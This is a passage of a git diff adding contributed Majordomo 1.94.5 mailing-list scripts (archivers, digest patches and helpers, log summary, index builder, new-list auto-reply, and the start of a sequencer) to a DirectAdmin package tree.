-0800 (PDT) +#Cc: brent@greatcircle.com +#Reply-To: Alan Millar +# +# +#Hi- +# +#Here is a perl program I wrote to keep mailing list archives. +#It is designed to produce list archive files similar to Revised +#Listserv. Each message is separated by a line of "==="s and +#most of the header "noise" is gone. Instead of being stored +#in one big file, they are split into one file per month with +#the name logYYMM where YY and MM are the numeric year and +#month. +# +#I call it from /usr/lib/aliases using: +# +# listname-archive: "|/usr/local/mail/majordomo/wrapper archive.pl \ +# /usr/local/mail/lists/listname.archive" +# +#Where the last parameter is the directory name to put the +#log files into. +# +#Give it a try and let me know what you think. +# +#- Alan +# +#---- ,,,, +#Alan Millar amillar@bolis.SF-Bay.org __oo \ +#System Administrator =___/ +#The skill of accurate perception is called cynicism by those who don't +#possess it. +#---- + + +# archive.pl +# Mailing list archiver. Specify the directory (not the file) +# on the command line. Messages are written to a file +# called 'logYYMM' in that directory, where YY is the two digit +# year and MM is the two-digit month. + +# Written by Alan Millar August 25 1993. + +# All these should be in the standard PERL library +unshift(@INC, $homedir); +require "majordomo.pl"; # all sorts of general-purpose Majordomo subs +require "shlock.pl"; # NNTP-style file locking + +# The headers we want to keep, in order: +@keepHeaders = + ( "To", "cc" + , "from", "reply-to", "organization" + , "date", "subject" + , "summary", "keywords" + , "Content-Type" + ); + +#----------------------------------- +# Set up output file. See if directory is specified on command line. +$outputDir = $ARGV[0]; +if (! -d $outputDir) { + $outputDir = "/tmp"; +} +$outputDir =~ s/\/$//; # drop trailing slash + +#------------------------------------ +# Get date for log file name +($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst) = localtime(time); + +# log file name is form "logYYMM" +$logFile = sprintf("$outputDir/log%2.2d%2.2d",$year,$mon + 1); + +# open output file +&lopen(OUTPUT,">>",$logFile); + +# Parse the mail header of the message, so we can figure out who to reply to +&ParseMailHeader(STDIN, *hdrs); + +# Print the headers we want + +print OUTPUT "========================================"; +print OUTPUT "======================================\n"; + +foreach $key (@keepHeaders) { + $key =~ tr[A-Z][a-z]; + if (defined($hdrs{$key})) { + $newKey = $key; substr($newKey,0,1) =~ tr/a-z/A-Z/; + printf OUTPUT "%-15s%s\n", "$newKey: ", $hdrs{$key}; + } # if non-blank +} # foreach + +print OUTPUT "\n"; + +# copy the rest of the message + +while () { + print OUTPUT $_; +} +print OUTPUT "\n"; + +&lclose(OUTPUT); diff --git a/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/contrib/archive_mh.pl b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/contrib/archive_mh.pl new file mode 100644 index 0000000..d7c6754 --- /dev/null +++ b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/contrib/archive_mh.pl @@ -0,0 +1,34 @@ +#!/bin/perl + +# archive: A hack to use mh to handle the archives +# +# You may redistribute this file, or inlcude it into the offical majordomo +# package +# +# $Source: /sources/cvsrepos/majordomo/contrib/archive_mh.pl,v $ +# $Revision: 1.4 $ +# $Date: 1997/03/10 15:40:41 $ +# $Author: cwilson $ +# $State: Exp $ +# +# $Locker: $ + +# set our path explicitly +$ENV{'PATH'} = "/bin:/usr/bin:/usr/ucb"; + +# Read and execute the .cf file +$cf = $ENV{"MAJORDOMO_CF"} || "/tools/majordomo-1.56/majordomo.cf"; +if ($ARGV[0] eq "-C") { + $cf = $ARGV[1]; + shift(@ARGV); + shift(@ARGV); +} +if (! -r $cf) { + die("$cf not readable; stopped"); +} +require "$cf"; + +# Go to the home directory specified by the .cf file +chdir("$homedir"); + +exec("/tools/mh-6.8/lib/mh/rcvstore +$filedir/$ARGV[0] -nocreate\n"); diff --git a/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/contrib/digest.diff b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/contrib/digest.diff new file mode 100644 index 0000000..12820b8 --- /dev/null +++ b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/contrib/digest.diff @@ -0,0 +1,348 @@ +From: pdc@lunch.asd.sgi.com (Paul Close) +Subject: Digest code diffs for 1.90 +Date: Thu, 21 Apr 1994 17:56:22 -0700 (PDT) + +Here are my changes to digest which support config file settings for +specifying the digest size in lines and/or the maximum age of the oldest +article, in days. Also support a new flag, -p (for "push"), intended for +use by cron jobs. It checks to see if a digest should be sent, and sends +it if it should (pretty well because an article is too old, but you could +use this to send all the time). + +A few comments on the code. In &should_be_sent, I calculate how big the +article would be if the headers were stripped, both in bytes and in lines. +I add in a bit of a fudge factor for mail headers, just so we don't get too +close to maxlength bytes before sending. Typically, the line count will +cause a digest to be sent before the byte count would (I see the maxlength +count as more of a mailer issue than a digest issue). + +The old digest code had a strange construct: s/\n+$/\n/; I assumed that +this was to trim newlines off the end of the string, but multi-line regexps +don't work that way. The only way I could get this to work is: + + $len = length($body) - 1; + $len-- while (substr($body,$len,1) eq "\n"); + substr($body,$len+1) = ""; + +Any clever hacks appreciated. In the same area, I changed the code that +reads the body of the message to read the whole thing at once (undef $/) +rather than do multiple string concatenations. Seems more efficient. I +also added a ^From escaper, using enough of a real "From " line pattern, +that it shouldn't match just any line beginning with From. + +Under the heading of random perl lore, to count the number of newlines in a +multi-line string, I used: + + $lines += ($body =~ s/\n/\n/g); + +seems pretty straightforward, but I have the nagging suspicion there's an +easier way. + +Finally, I made digest safe past the year 2000, by printing $year+1900 +rather than 19$year. Whoopee! + +Comments welcome! The code is based on 1.90b2, which is the latest I have. + +Index: digest/digest +*** digest/digest.old Sun Mar 6 14:47:06 1994 +--- digest/digest Thu Apr 21 17:35:33 1994 +*************** +*** 63,72 **** + + if (defined($opt_r)) { + &receive_message; + } elsif (defined($opt_m)) { + &make_digest; + } else { +! &abort("Usage: digest {-r|-m} [-c config|(-C -l list)]\nStopped"); + } + + &free_lock; +--- 63,79 ---- + + if (defined($opt_r)) { + &receive_message; ++ if (&should_be_sent()) { ++ &make_digest; ++ } + } elsif (defined($opt_m)) { + &make_digest; ++ } elsif (defined($opt_p)) { ++ if (&should_be_sent()) { ++ &make_digest; ++ } + } else { +! &abort("Usage: digest {-r|-m|-p} [-c config|(-C -l list)]\nStopped"); + } + + &free_lock; +*************** +*** 73,97 **** + + exit(0); + + sub receive_message { +- $sum = 0; + $i = 0; + do { +! $i++; +! $file = sprintf("%s/%03d", $V{'INCOMING'}, $i); +! $sum += (-s $file); + } until (! -e $file); + print STDERR "Receiving $i\n"; + open(MSG, ">$file") || &abort("open(MSG, \">$file\"): $!"); + while () { + print MSG $_; + } + close(MSG); +- $sum += (-s $file); +- if ($sum > $V{'DIGEST_SIZE'}) { +- &make_digest; +- } +- return(1); + } + + +--- 80,146 ---- + + exit(0); + ++ sub should_be_sent { ++ # fudge factors for headers and footers ++ $sum = 600 + length($HEADER) + length($HEADERS) + length($TRAILER); ++ $lines = 25; ++ $i = 0; ++ while (1) { ++ $file = sprintf("%s/%03d", $V{'INCOMING'}, ++$i); ++ last unless (-e $file); ++ open(COUNT, "<$file") || &abort("open(COUNT, \"<$file\"): $!"); ++ ++ $/ = ''; # grab the header ++ $head = ; ++ ++ # only count From/Date/Subject header fields to get a ++ # more accurate size and line count. ++ $head =~ s/\n\s+/ /g; ++ $head =~ /^(From:\s+.*)/i && ($sum += length($1)+1, $lines++); ++ $head =~ /^(Subject:\s+.*)/i && ($sum += length($1)+1, $lines++); ++ $head =~ /^(Date:\s+.*)/i && ($sum += length($1)+1, $lines++); ++ $sum++, $lines++; ++ ++ # count the body of the message ++ undef $/; ++ $body = ; ++ $sum += length($body); ++ $lines += ($body =~ s/\n/\n/g); # count newlines ++ ++ $/ = "\n"; ++ close(COUNT); ++ $sum += length($EB) + 2, $lines += 2; # account for message delimiter ++ ++ if ($V{'DIGEST_SIZE'} && $sum > $V{'DIGEST_SIZE'}) { ++ return(1); ++ } ++ if ($V{'DIGEST_LINES'} && $lines > $V{'DIGEST_LINES'}) { ++ return(1); ++ } ++ if ($V{'MAX_AGE'} && (-M $file) > $V{'MAX_AGE'}) { ++ return(1); ++ } ++ } ++ print "don't send. sum = $sum, lines = $lines\n"; ++ ++ return(0); ++ } ++ + sub receive_message { + $i = 0; + do { +! $file = sprintf("%s/%03d", $V{'INCOMING'}, ++$i); + } until (! -e $file); ++ + print STDERR "Receiving $i\n"; + open(MSG, ">$file") || &abort("open(MSG, \">$file\"): $!"); ++ ++ # copy the message + while () { + print MSG $_; + } ++ + close(MSG); + } + + +*************** +*** 111,129 **** + $head = ; + $head =~ s/\n\s+/ /g; + $body = ""; +! ($subj) = ($head =~ /^subject:\s+(.*)/i); +! $subj = "[none]" unless $subj; +! ($from) = ($head =~ /^from:\s+(.*)/i); +! ($date) = ($head =~ /^date:\s+(.*)/i); + +! $/ = "\n"; +! while () { +! s/^-/- -/; #escape encapsulation boundaries in message +! $body .= $_; +! } + close(message); +! $body =~ s/\n+$/\n/; + + push(@subj,$subj); + print TEMP <; + $head =~ s/\n\s+/ /g; + $body = ""; +! $subj = ($head =~ /^Subject:\s+(.*)/i)? $1: "[none]"; +! ($from) = $head =~ /^From:\s+(.*)/i; +! ($date) = $head =~ /^Date:\s+(.*)/i; + +! undef $/; +! $body = ; + close(message); +! +! # escape ^From ... +! $body =~ +! s/^From (\S+\s+\w{3}\s+\w{3}\s+\d+\s+\d+:\d+:\d+)/>From $1/g; +! $body =~ s/^-/- -/g; # escape encapsulation boundaries in message +! # trim trailing \n's +! $len = length($body) - 1; +! $len-- while (substr($body,$len,1) eq "\n"); +! substr($body,$len+1) = ""; + ++ $/ = "\n"; ++ + push(@subj,$subj); + print TEMP <))[7]; + chdir($HOME); +! &getopt("rmc:Cl:") || +! &abort("Usage: digest {-r|-m} [-c config|(-C -l list)]\nStopped"); + $config = $opt_c || "$HOME/.digestrc"; + $TEMP = "/tmp/digest.$$"; + $SIG{'INT'} = 'cleanup'; +--- 260,267 ---- + $* = 1; + $HOME = $ENV{"HOME"} || (getpwuid($>))[7]; + chdir($HOME); +! &getopt("rmpc:Cl:") || +! &abort("Usage: digest {-r|-m|-p} [-c config|(-C -l list)]\nStopped"); + $config = $opt_c || "$HOME/.digestrc"; + $TEMP = "/tmp/digest.$$"; + $SIG{'INT'} = 'cleanup'; +*************** +*** 245,252 **** + $NUMBER = $config_opts{$opt_l,"digest_issue"}; + $Precedence = $config_opts{$opt_l,"precedence"}; + $Precedence = "bulk" if ($Precedence eq ""); +! $V{'ARCHIVE'} = "$filedir/$opt_l$filedirsuffix"; + $V{'DIGEST_SIZE'} = $config_opts{$opt_l, "maxlength"}; + $V{'ERRORS-TO'} = $config_opts{$opt_l,"sender"}; + $V{'FROM'} = $config_opts{$opt_l, "sender"}; + $V{'INCOMING'} = "$digest_work_dir/$opt_l"; +--- 301,310 ---- + $NUMBER = $config_opts{$opt_l,"digest_issue"}; + $Precedence = $config_opts{$opt_l,"precedence"}; + $Precedence = "bulk" if ($Precedence eq ""); +! $V{'ARCHIVE'} = "$filedir/$opt_l$filedir_suffix"; + $V{'DIGEST_SIZE'} = $config_opts{$opt_l, "maxlength"}; ++ $V{'DIGEST_LINES'} = $config_opts{$opt_l, "digest_maxlines"}; ++ $V{'MAX_AGE'} = $config_opts{$opt_l, "digest_maxdays"}; + $V{'ERRORS-TO'} = $config_opts{$opt_l,"sender"}; + $V{'FROM'} = $config_opts{$opt_l, "sender"}; + $V{'INCOMING'} = "$digest_work_dir/$opt_l"; +*************** +*** 327,333 **** + + sub getdate { + local($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst) = localtime(time); +! return($DAYS[$wday] . ", $mday " . $MONTHS[$mon] . " 19$year"); + } + + sub set_lock { +--- 385,392 ---- + + sub getdate { + local($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst) = localtime(time); +! $year += 1900; +! return("$DAYS[$wday], $mday $MONTHS[$mon] $year"); + } + + sub set_lock { + +Index: config_parse.pl +*** config_parse.pl.old Thu Apr 21 07:32:50 1994 +--- config_parse.pl Thu Apr 21 07:41:33 1994 +*************** +*** 128,133 **** +--- 128,135 ---- + 'digest_archive', '', + 'digest_rm_footer', '', + 'digest_rm_fronter', '', ++ 'digest_maxlines', '', ++ 'digest_maxdays', '', + # general stuff below + 'comments', '', # comments about config file + ); +*************** +*** 331,336 **** +--- 333,346 ---- + Just like digest_rm_footer, it is also non-operative.', + ); + ++ 'digest_maxlines', ++ "automatically generate a new digest when the size of the digest exceeds ++ this number of lines.", ++ ++ 'digest_maxdays', ++ "automatically generate a new digest when the age of the oldest article in ++ the queue exceeds this number of days.", ++ + # match commands to their subsystem, by default only 4 subsystems + # exist, majordomo, resend, digest and config. + %subsystem = ( +*************** +*** 372,377 **** +--- 382,389 ---- + 'digest_archive', 'digest', + 'digest_rm_footer', 'digest', + 'digest_rm_fronter', 'digest', ++ 'digest_maxlines', 'digest', ++ 'digest_maxdays', 'digest', + # general stuff here + 'comments', 'config', + ); +*************** +*** 418,423 **** +--- 430,437 ---- + 'digest_archive', 'grab_absolute_dir', + 'digest_rm_footer', 'grab_word', + 'digest_rm_fronter', 'grab_word', ++ 'digest_maxlines', 'grab_integer', ++ 'digest_maxdays', 'grab_integer', + # general stuff below + 'comments', 'grab_string_array', + ); + +-- +Paul Close pdc@sgi.com ...!{ames, decwrl, uunet}!sgi!pdc + + No fate but what we make + diff --git a/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/contrib/digest.num b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/contrib/digest.num new file mode 100644 index 0000000..177c9d4 --- /dev/null +++ b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/contrib/digest.num @@ -0,0 +1,45 @@ +#!/usr/local/bin/perl + +# Program name digest.num -- Digest numbering. +# +# Lindsay Haisley, FMP Computer Serivces (fmouse@fmp.com) +# +# Usage: digest.num -l list_name [-i issue_num] [-v volume_num] +# +# Sets number for next digest issue and volume number in the config file +# for list list_name. If issue_num and volume_num are not supplied, they +# are set to 0. + +$cf = $ENV{"MAJORDOMO_CF"} || "/etc/majordomo.cf"; +require "$cf"; +# chdir("$homedir"); + +require "shlock.pl"; +require "config_parse.pl"; +require "getopt.pl"; + +&Getopt('liv'); +die "No list config specified\n" if !defined($opt_l); +die "List config file $opt_l.config does not exist\n" unless -e "$listdir/$opt_l.config"; +&get_config($listdir, $opt_l); + +if (defined($opt_v)) { + $volume = $opt_v; +} else { + $volume = 0; +} + +if (defined($opt_i)) { + $issue = $opt_i; +} else { + $issue = 0; +} + +$config_opts{$opt_l, "digest_volume"} = $volume; +$config_opts{$opt_l, "digest_issue"} = $issue; + +&set_lock("$listdir/$opt_l.config.LOCK"); +&config'writeconfig($listdir, $opt_l); +&free_lock("$listdir/$opt_l.config.LOCK"); +print STDERR "Config for list $opt_l set to volume $volume, issue $issue\n"; + diff --git a/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/contrib/digest.send b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/contrib/digest.send new file mode 100644 index 0000000..3229833 --- /dev/null +++ b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/contrib/digest.send @@ -0,0 +1,28 @@ +#! /bin/sh +# This script was contributed by "Paul Pomes" +# +# It only works with versions of "digest" that have been modified +# to work with the config file moddifications in majordomo 1.90 and above. +# This script can be called from cron to automatically generate +# digests for all of the lists in DIGESTDIR. E.G. +# +# daily +# 0 2 * * * /path/to/digest.send +# +# weekly (on monday) +# 0 2 * * 1 /path/to/digest.send +# +# monthly (first of the month) +# 0 2 1 * * /path/to/digest.send +# +DIGESTDIR=/usr/spool/digests +cd $DIGESTDIR + +for i in * +do + if [ -f $i/001 ]; + then + /path/to/majordomo/wrapper digest -m -C -l $i ${i}-outgoing + fi +done + diff --git a/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/contrib/logsummary.pl b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/contrib/logsummary.pl new file mode 100644 index 0000000..e0c6da4 --- /dev/null +++ b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/contrib/logsummary.pl @@ -0,0 +1,156 @@ +#!/bin/perl +# +# Print various statistics about the Log file +# +# Todo: summarize admin commands +# +# Paul Close, April 1994 +# + +while (<>) { + if (($mon,$day,$time,$who,$cmd) = + /([A-Za-z]+) (\d+) ([\d:]+)\s+.*majordomo\[\d+\]\s+{(.*)} (.*)/) + { + @f = split(' ',$cmd); + $cmd = $f[0]; + $f[1] =~ s/[<>]//g; + $f[2] =~ s/[<>]//g; + $count{$cmd}++; + + # help + # lists + # which [address] + # approve PASSWD ... + if ($cmd eq "approve" || + $cmd eq "help" || + $cmd eq "lists" || + $cmd eq "which") + { + ${$cmd}++; + } + + # index list + # info list + # who list + elsif ($cmd eq "index" || + $cmd eq "info" || + $cmd eq "who") + { + if ($#f == 1) { + $lists{$f[1]}++; + $f[1] =~ s/-//g; + ${$f[1]}{$cmd}++; + } else { + $bad{$cmd}++; + } + } + + # get list file + # newinfo list passwd + elsif ($cmd eq "get" || + $cmd eq "newinfo") + { + if ($#f == 2) { + $lists{$f[1]}++; + $f[1] =~ s/-//g; + ${$f[1]}{$cmd}++; + if ($cmd eq "get") { + $req = &ParseAddrs($who); + $long{$req} = $who; + $getcount{$req}++; + } + } else { + $bad{$cmd}++; + } + } + + # subscribe list [address] + # unsubscribe list [address] + elsif ($cmd eq "subscribe" || + $cmd eq "unsubscribe") + { + if ($#f >= 1) { + $lists{$f[1]}++; + $f[1] =~ s/-//g; + ${$f[1]}{$cmd}++; + } else { + $bad{$cmd}++; + } + } + + # request cmd list subscribe (for approval) + elsif ($cmd eq "request") { + if ($#f >= 2) { + $lists{$f[2]}++; + $f[2] =~ s/-//g; + ${$f[2]}{$cmd}++; + } else { + $bad{$cmd}++; + } + } + + else { + $unrecognized{$cmd}++; + } + } else { + warn "line $. didn't match!\n" if !/^$/; + } +} + +#print "Command summary:\n"; +#foreach $cmd (sort keys %count) { +# printf " %-20s %4d\n", $cmd, $count{$cmd}; +#} + +print "Global commands:\n"; +printf(" %-15s %4d\n", "help", $help) if defined($help); +printf(" %-15s %4d\n", "lists", $lists) if defined($lists); +printf(" %-15s %4d\n", "which", $which) if defined($which); +print "\n"; + +#print "Unrecognized commands:\n"; +#foreach $cmd (sort keys %unrecognized) { +# printf " %-15s %4d\n", $cmd, $unrecognized{$cmd}; +#} +#print "\n"; + +if (defined(%bad)) { + print "Incomplete commands:\n"; + foreach $cmd (sort keys %bad) { + printf " %-15s %4d\n", $cmd, $bad{$cmd}; + } + print "\n"; +} + +# skip request and newinfo +print "List subscr unsub index get info who config approve\n"; +foreach $list (sort keys %lists) { + printf "%-20s", substr($list,0,20); + $list =~ s/-//g; + %l = %{$list}; + printf " %6d %6d %6d %6d %6d %6d %6d %6d\n", $l{subscribe}, $l{unsubscribe}, + $l{index}, $l{get}, $l{info}, $l{who}, $l{config}, $l{approve}; +} +print "\n"; + +@reqs = sort {$getcount{$b}<=>$getcount{$a};} keys %getcount; +if ($#reqs >= 0) { + print "Top requestors (get command):\n"; + for ($i=0; $i < 5; $i++) { + printf " %5d %s\n", $getcount{$reqs[$i]}, $long{$reqs[$i]}; + last if ($i == $#reqs); + } +} + +# from majordomo.pl, modified to work on a single address +# $addrs = &ParseAddrs($addr_list) +sub ParseAddrs { + local($_) = shift; + 1 while s/\([^\(\)]*\)//g; # strip comments + 1 while s/"[^"]*"//g; # strip comments + 1 while s/.*<(.*)>.*/\1/; + s/^\s+//; + s/\s+$//; + $_; +} + diff --git a/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/contrib/makeindex.pl b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/contrib/makeindex.pl new file mode 100644 index 0000000..63ed3a3 --- /dev/null +++ b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/contrib/makeindex.pl @@ -0,0 +1,98 @@ +#!/bin/perl +# +# Given an archive directory, create a table of contents file and a topics +# file. The table of contents file simply lists each subject that appears +# in each archive file, while the topics file is a list of each unique +# subject and the files that subject appears in. +# +# I run this from cron every night.... +# +# Paul Close, April 1994 +# + +if ($#ARGV != -1) { + $dir = $ARGV[0]; + shift; +} +else { + die "usage: $0 archive_directory\n"; +} + +opendir(FILES, $dir) || die "Can't open directory $dir: $!\n"; +@files = readdir(FILES); # get all files in archive directory +closedir(FILES); + +open(INDEX,">$dir/CONTENTS") || die "Can't open $dir/CONTENTS: $!\n"; +open(TOPICS,">$dir/TOPICS") || die "Can't open $dir/TOPICS: $!\n"; + +foreach $basename (@files) { + next if $basename eq '.'; + next if $basename eq '..'; + next if $basename eq "CONTENTS"; + next if $basename eq "TOPICS"; + print INDEX "\n$basename:\n"; + open(FILE, "$dir/$basename") || next; + while () { + if (/^Subject:\s+(.*)/i) { + ($subj = $1) =~ s/\s*$//; + next if $subj eq ""; + # + # for index file, just print the subject + # + print INDEX " $subj\n"; + # + # for topics file, strip Re:'s, remove digest postings, + # and trim the length to 40 chars for pretty-printing. + # + 1 while ($subj =~ s/^Re(\[\d+\]|2?):\s*//i); # trim all Re:'s + next if $subj eq ""; + next if $subj =~ /[A-Za-z]+ Digest, Volume \d+,/i; + next if $subj =~ /[A-Za-z]+ Digest V\d+ #\d+/i; + if (length($subj) > 40) { + $subj = substr($subj, 0, 37) . "..."; + } + # + # Make a key that's all lower case, and no whitespace to + # reduce duplicate topics that differ only by those. This + # also results in a list of topics sorted case-independent. + # + ($key = $subj) =~ tr/A-Z/a-z/; + $key =~ s/\s+//g; + $subjlist{$key} .= "$basename,"; + if (!defined($realsubj{$key})) { + $realsubj{$key} = $subj; + } + } + } + close(FILE); +} +close(INDEX); + +foreach $subj (sort keys %subjlist) { + # + # for each subject, record each file it was found in + # + undef %found; + undef @names; + for (split(",", $subjlist{$subj})) { + $found{$_} = 1; + } + # + # make list of 'found' names and wrap at 80 columns + # + $names = join(", ", sort keys %found); + undef @namelist; + while (length($names) > 40) { + $index = 40; + $index-- until (substr($names, $index, 1) eq " " || $index < 0); + push(@namelist,substr($names,0,$index)); + $names = substr($names,$index+1); + } + push(@namelist,$names); + printf TOPICS "%-40s %s\n", $realsubj{$subj}, $namelist[0]; + for ($i=1; $i <= $#namelist; $i++) { + print TOPICS " " x 41, $namelist[$i], "\n"; + } +} +close(TOPICS); + diff --git a/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/contrib/new-list b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/contrib/new-list new file mode 100644 index 0000000..8e6388d --- /dev/null +++ b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/contrib/new-list @@ -0,0 +1,103 @@ +#!/bin/perl + + +# $Source: /sources/cvsrepos/majordomo/contrib/new-list,v $ +# $Revision: 1.14 $ +# $Date: 1996/12/09 16:50:45 $ +# $Author: cwilson $ +# $State: Exp $ +# +# $Locker: $ + +# set our path explicitly +$ENV{'PATH'} = "/bin:/usr/bin:/usr/ucb"; + +# Read and execute the .cf file +$cf = $ENV{"MAJORDOMO_CF"} || "/etc/majordomo.cf"; +if ($ARGV[0] eq "-C") { + $cf = $ARGV[1]; + shift(@ARGV); + shift(@ARGV); +} +if (! -r $cf) { + die("$cf not readable; stopped"); +} +require "$cf"; + +chdir($homedir) || die("Can't chdir(\"$homedir\"): $!"); +unshift(@INC, $homedir); +require "majordomo.pl"; +require "shlock.pl"; + +&ParseMailHeader(STDIN, *hdrs); +$reply_to = &RetMailAddr(*hdrs); +$reply_to = join(", ", &ParseAddrs($reply_to)); +die("new-list: $reply_to is not a valid return address.\n") + if (! &valid_addr($reply_to)); + +$in_reply_to = $hdrs{"message-id"} . ", from " . $hdrs{"from"}; +$list = $ARGV[0]; + +# Define all of the mailer properties: +# It is possible that one or both of $sendmail_command and $bounce_mailer +# are not defined, so we provide reasonable defaults. +$sendmail_command = "/usr/lib/sendmail" + unless defined $sendmail_command; +$bounce_mailer = "$sendmail_command -f\$sender -t" + unless defined $bounce_mailer; + +$sender = "$list-approval"; + +$mailcmd = eval qq/"$bounce_mailer"/; + +if (defined($isParent = open(MAIL, "|-"))) { + &do_exec_sendmail(split(' ', $mailcmd)) + unless $isParent; +} else { + &abort("Failed to fork prior to mailer exec"); +} + + +print MAIL <<"EOM"; +To: $reply_to +Cc: $list-approval +From: $list-approval +Subject: Your mail to $list\@$whereami +In-Reply-To: $in_reply_to +Reply-To: $list-approval\@$whereami + +This pre-recorded message is being sent in response to your recent +email to $list\@$whereami. + +If you were trying to subscribe to the list, please send your request +to $whoami, not to $list\@$whereami. + +This is a new list. Your message is being returned unsent, but please +hold on to it. After a few days, when the flood of subscription +requests has died down somewhat, the owner of the list will announce +that the list is "open for business"; you should resubmit your posting +then. This way, everybody who joins the list within the first few days +of its existence starts out on an even footing, and we don't end up +with every other message asking "what did I miss?". + +Here's your original, unsent message: + +EOM + ; + +foreach ("From", "To", "Cc", "Subject", "Date", "Message-ID") { + ($hdr = $_) =~ tr/A-Z/a-z/; + if (defined($hdrs{$hdr})) { + print MAIL $_, ": ", $hdrs{$hdr}, "\n"; + } +} + +print MAIL "\n"; + +while () { + print MAIL $_; +} + +close(MAIL); + +exit 0; diff --git a/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/contrib/sequencer b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/contrib/sequencer new file mode 100644 index 0000000..df50016 --- /dev/null +++ b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/contrib/sequencer @@ -0,0 +1,559 @@ +#!/usr/bin/perl -U + +# Copyright 1996 MACS, Inc. +# Copyright 1992, D. Brent Chapman. See the Majordomo license agreement +# for usage rights. +# +# $Source: /sources/cvsrepos/majordomo/contrib/sequencer,v $ +# $Revision: 1.2 $ +# $Date: 1996/12/09 16:50:48 $ +# $Author: cwilson $ +# $State: Exp $ +# +# $Locker: $ +# + +# sequence - a program for sequencing and archiving e-mail messages +# from majordomo +# +# Based heavily upon the resend script included in the majordomo distribution + +# set our path explicitly +$ENV{'PATH'} = "/bin:/usr/bin:/usr/sbin:/sbin"; + +# What shall we use for temporary files? +$tmp = "/tmp/majordomo.$$"; + +# Before doing anything else tell the world I am sequencer +# The mj_ prefix is reserved for tools that are part of majordomo proper. +$main'program_name = 'sequencer'; + + +# If the first argument is "@filename", read the real arguments +# from "filename", and shove them onto the ARGV for later processing +# by &Getopts() + +if ($ARGV[0] =~ /^@/) { + $fn = shift(@ARGV); + $fn =~ s/^@//; + open(AV, $fn) || die("open(AV, \"$fn\"): $!\nStopped"); + undef($/); # set input field separator + $av = ; # read whole file into string + close(AV); + @av = split(/\s+/, $av); + unshift(@ARGV, @av); + $/ = "\n"; +} + +# Read and execute the .cf file +$cf = $ENV{"MAJORDOMO_CF"} || "/etc/majordomo.cf"; +if ($ARGV[0] eq "-C") { + $cf = $ARGV[1]; + shift(@ARGV); + shift(@ARGV); +} +if (! -r $cf) { + die("$cf not readable; stopped"); +} +require "$cf"; + +chdir($homedir) || die("Can't chdir(\"$homedir\"): $!"); +unshift(@INC, $homedir); +use Getopt::Std; +require "majordomo.pl"; +require "majordomo_version.pl"; +require "config_parse.pl"; +require "shlock.pl"; + +getopts("Aa:df:h:I:l:m:M:nNp:Rr:s") || die("sequencer: Getopts() failed: $!"); + +if (! defined($opt_l) || ! defined($opt_h)) { + die("sequencer: must specify both '-l list' and '-h host' arguments"); +} + +# smash case for the list name +$opt_l =~ tr/A-Z/a-z/; + +if ( ! @ARGV) { + die("sequencer: must specify outgoing list as last arg(s)"); +} + +$opt_r = "$opt_r@$opt_h" if ( defined($opt_r) ); + +&get_config($listdir, $opt_l); + +$opt_A = &cf_ck_bool($opt_l,"moderate") if &cf_ck_bool($opt_l,"moderate"); +$opt_h = $config_opts{$opt_l,"resend_host"} + if($config_opts{$opt_l,"resend_host"} ne ''); +$opt_a = $config_opts{$opt_l,"approve_passwd"} + if ($config_opts{$opt_l,"approve_passwd"} ne ''); +$opt_M = $config_opts{$opt_l,"maxlength"} + if ($config_opts{$opt_l,"maxlength"} ne ''); + +$opt_f = $config_opts{$opt_l,"sender"} + if ($config_opts{$opt_l,"sender"} ne ''); +$opt_p = $config_opts{$opt_l,"precedence"} + if ($config_opts{$opt_l,"precedence"} ne ''); +$opt_r = $config_opts{$opt_l,"reply_to"} + if ($config_opts{$opt_l,"reply_to"} ne ''); +$opt_I = $config_opts{$opt_l,"restrict_post"} + if ($config_opts{$opt_l,"restrict_post"} ne ''); +$opt_R = &cf_ck_bool($opt_l,"purge_received") + if &cf_ck_bool($opt_l,"purge_received"); +$opt_s = &cf_ck_bool($opt_l,"administrivia") + if &cf_ck_bool($opt_l,"administrivia"); +$opt_d = &cf_ck_bool($opt_l,"debug") + if &cf_ck_bool($opt_l,"debug"); + +if (defined($opt_f)) { + $sendmail_sender = $opt_f; +} else { + $sendmail_sender = "$opt_l-request"; +} + +if (defined($opt_a)) { + if ($opt_a =~ /^\//) { + open(PWD, $opt_a) || die("sequencer: open(PWD, \"$opt_a\"): $!"); + $opt_a = &chop_nl(); + } +} + +if (defined($opt_A) && ! defined($opt_a)) { + die("sequencer: must also specify '-a passwd' if using '-A' flag"); +} + +# code added for getting new sequence number + +if (defined($opt_N)) { + $opt_n = $opt_N; +} + +if (defined($opt_n)) { + $seqfile = "$listdir/$opt_l.seq"; + if (! -r $seqfile) { # if there is no sequence file, make one + open(SEQ, ">$seqfile") || die("sequencer: open of $seqfile failed: $!"); + print SEQ "1\n"; + close SEQ; + } + &main'lopen(SEQ, "<", "$seqfile") || die("sequencer: locked open of $seqfile failed: $!"); + chop($seqnum = ); + +# note that the sequence file is opened and locked from here until +# the message is sent + +} + + +$sender = "$sendmail_sender@$opt_h"; + +&open_temp(OUT, "/tmp/sequencer.$$.out") || + &abort("sequencer:1 Can't open /tmp/sequencer.$$.out: $!"); + +&open_temp(IN, "/tmp/sequencer.$$.in") || + 